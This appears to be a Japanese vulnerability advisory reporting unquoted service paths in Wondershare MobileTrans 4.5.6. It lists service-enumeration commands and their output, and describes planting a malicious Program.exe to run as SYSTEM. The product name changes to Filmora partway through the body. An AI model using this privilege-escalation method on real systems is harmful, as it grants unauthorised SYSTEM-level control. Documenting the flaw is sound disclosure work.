Wondershare MobileTrans 4.5.6 - 引用符なしサービスパス
Wondershare Filmora バージョン 4.5.6 以下には、複数の引用符なしサービスパスが含まれており、攻撃者が権限をシステムレベルに昇格させることを可能にします。
WsAppService3 サービスのバイナリパス C:\Program Files (x86)\Wondershare\WAF3\3.0.0.308\WsAppService3.exe ElevationService サービスのバイナリパス C:\Program Files (x86)\Wondershare\MobileTrans\ElevationService.exe
C:\Windows\system32>cmd /c wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
Wondershare Driver Install Service help ElevationService C:\Program Files (x86)\Wondershare\MobileTrans\ElevationService.exe Auto
Wondershare Application Update Service 3.0 WsAppService3 C:\Program Files (x86)\Wondershare\WAF3\3.0.0.308\WsAppService3.exe Auto
C:\Windows\system32>sc qc WsAppService3
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: WsAppService3
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Wondershare\WAF3\3.0.0.308\WsAppService3.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Wondershare Application Update Service 3.0
DEPENDENCIES : RPCSS
SERVICE_START_NAME : LocalSystem
C:\Windows\system32>sc qc ElevationService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: ElevationService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Wondershare\MobileTrans\ElevationService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Wondershare Driver Install Service help
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
悪意のあるユーザーがスペースを含むパスのいずれかに書き込み権限を持っている場合、そのフォルダに悪意のある実行ファイルを配置し、SYSTEMとしてコードを実行できます。例えば、C:\ への書き込み権限を持つ低特権ユーザーがいる場合、C:\ に Program.exe という悪意のある実行ファイルを配置し、再起動後にサービスがペイロードを SYSTEM として実行します。